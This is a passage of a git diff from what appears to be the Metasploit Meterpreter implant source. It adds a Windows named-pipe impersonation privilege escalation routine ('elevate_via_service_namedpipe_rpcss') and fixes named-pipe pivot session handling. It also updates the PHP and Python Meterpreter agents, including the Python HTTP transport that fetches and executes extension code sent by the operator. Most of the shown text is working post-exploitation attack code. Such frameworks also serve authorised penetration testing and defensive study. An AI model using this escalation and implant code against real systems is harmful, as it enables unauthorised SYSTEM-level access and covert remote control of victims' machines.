Failed to resolve RtlGetVersion"); + } + + pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion"); + if (pRtlGetVersion == NULL) { + BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion"); + } + + if (pRtlGetVersion(&os)) { + BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed"); + } + + // filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique + if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) { + SetLastError(ERROR_CALL_NOT_IMPLEMENTED); + BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows versions older than 6.3 are unsupported"); + } + + // generate a pseudo random name for the pipe + dwPipeUid[0] = ((rand() << 16) | rand()); + dwPipeUid[1] = ((rand() << 16) | rand()); + + _snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]); + // this *MUST* use the "\\localhost\pipe" prefix and not the "\\.\pipe" prefix + _snprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, "\\\\localhost\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]); + + dprintf("[ELEVATE] elevate_via_service_namedpipe_rpcss. using pipename: %s", cPipeName1); + + hSem = CreateSemaphore(NULL, 0, 1, NULL); + PostImpersonation.pCallback = post_callback_use_rpcss; + PostImpersonation.pCallbackParam = remote; + pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation); + if (!pThread) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.create failed", ERROR_INVALID_HANDLE); + } + + if (!met_api->thread.run(pThread)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.run failed", ERROR_ACCESS_DENIED); + } + + // wait for the thread to create the pipe, if it times out terminate + if (hSem) { + if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WaitForSingleObject failed", ERROR_ACCESS_DENIED); + } + } else { + Sleep(500); + } + + hPipe = CreateFile(cPipeName2, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (hPipe == INVALID_HANDLE_VALUE) { + BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. CreateFile failed"); + } + + if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) { + BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WriteFile failed"); + } + + WaitForSingleObject(pThread->handle, 5000); + met_api->thread.sigterm(pThread); + met_api->thread.join(pThread); + + if (!GetExitCodeThread(pThread->handle, &dwResult)) { + BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. GetExitCodeThread failed", ERROR_INVALID_HANDLE); + } + } while (0); + + if (hPipe) { + CloseHandle(hPipe); + } + if (pThread) { + met_api->thread.destroy(pThread); + } + if (hSem) { + CloseHandle(hSem); + } + return dwResult; +} \ No newline at end of file diff --git a/c/meterpreter/source/extensions/priv/namedpipe_rpcss.h b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.h new file mode 100755 index 00000000..6454bfd1 --- /dev/null +++ b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H +#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H + +DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c old mode 100644 new mode 100755 index 086d9fee..e1a769f4 --- a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c @@ -163,18 +163,18 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou dprintf("[PIPE] Request ID found and matches expected value"); // we have a response to our session guid request DWORD sessionGuidLen = 0; - LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, 0); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&sessionGuid[0]; - dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - h = (PUCHAR)&ctx->pivot_session_guid; - dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid)); -#endif - if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0) + LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, &sessionGuidLen); + if (sessionGuid != NULL && sessionGuidLen == sizeof(ctx->pivot_session_guid) && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0) { +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&sessionGuid[0]; + dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + h = (PUCHAR)&ctx->pivot_session_guid; + dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid)); +#endif dprintf("[PIPE] Session guid returned, looks like the session is a reconnect"); memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)); @@ -212,7 +212,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou // with the session now established, we need to inform metasploit of the new connection dprintf("[PIPE] Informing MSF of the new named pipe pivot"); - Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_DIED); + Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_NEW); packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid)); packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id)); packet_transmit(ctx->remote, notification, NULL); diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index 70219d88..87b204b8 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -362,6 +362,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -372,6 +373,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -381,4 +383,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + \ No newline at end of file diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 8fb3f0c5..ddf4db09 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -860,7 +860,7 @@ function handle_dead_resource_channel($resource) { # Notify the client that this channel is dead $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_close')); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); @@ -878,7 +878,7 @@ function handle_resource_read_channel($resource, $data) { # Build a new Packet $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_write')); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE)); if (array_key_exists((int)$resource, $udp_host_map)) { list($h,$p) = $udp_host_map[(int)$resource]; packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index be55f5c1..4daaaf9d 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -22,7 +22,7 @@ else: has_windll = hasattr(ctypes, 'windll') try: - urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] + urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] if sys.version_info[0] < 3: urllib = __import__('urllib2', fromlist=urllib_imports) else: @@ -969,6 +969,7 @@ class HttpTransport(Transport): opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if proxy: opener_args.append(urllib.ProxyHandler({scheme: proxy})) + opener_args.append(urllib.ProxyBasicAuthHandler()) self.proxy = proxy opener = urllib.build_opener(*opener_args) opener.addheaders = [] @@ -1004,8 +1005,11 @@ class HttpTransport(Transport): packet = None xor_key = None request = urllib.Request(self.url, None, self._http_request_headers) + urlopen_kwargs = {} + if sys.version_info > (2, 6): + urlopen_kwargs['timeout'] = self.communication_timeout try: - url_h = urllib.urlopen(request, timeout=self.communication_timeout) + url_h = urllib.urlopen(request, **urlopen_kwargs) packet = url_h.read() for _ in range(1): if packet == '': @@ -1034,7 +1038,10 @@ class HttpTransport(Transport): def _send_packet(self, packet): request = urllib.Request(self.url, packet, self._http_request_headers) - url_h = urllib.urlopen(request, timeout=self.communication_timeout) + urlopen_kwargs = {} + if sys.version_info > (2, 6): + urlopen_kwargs['timeout'] = self.communication_timeout + url_h = urllib.urlopen(request, **urlopen_kwargs) response = url_h.read() def patch_uri_path(self, new_path): @@ -1423,7 +1430,7 @@ class PythonMeterpreter(object): libname = match.group(1) self.last_registered_extension = None - symbols_for_extensions = {'meterpreter':self} + symbols_for_extensions = {'meterpreter': self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))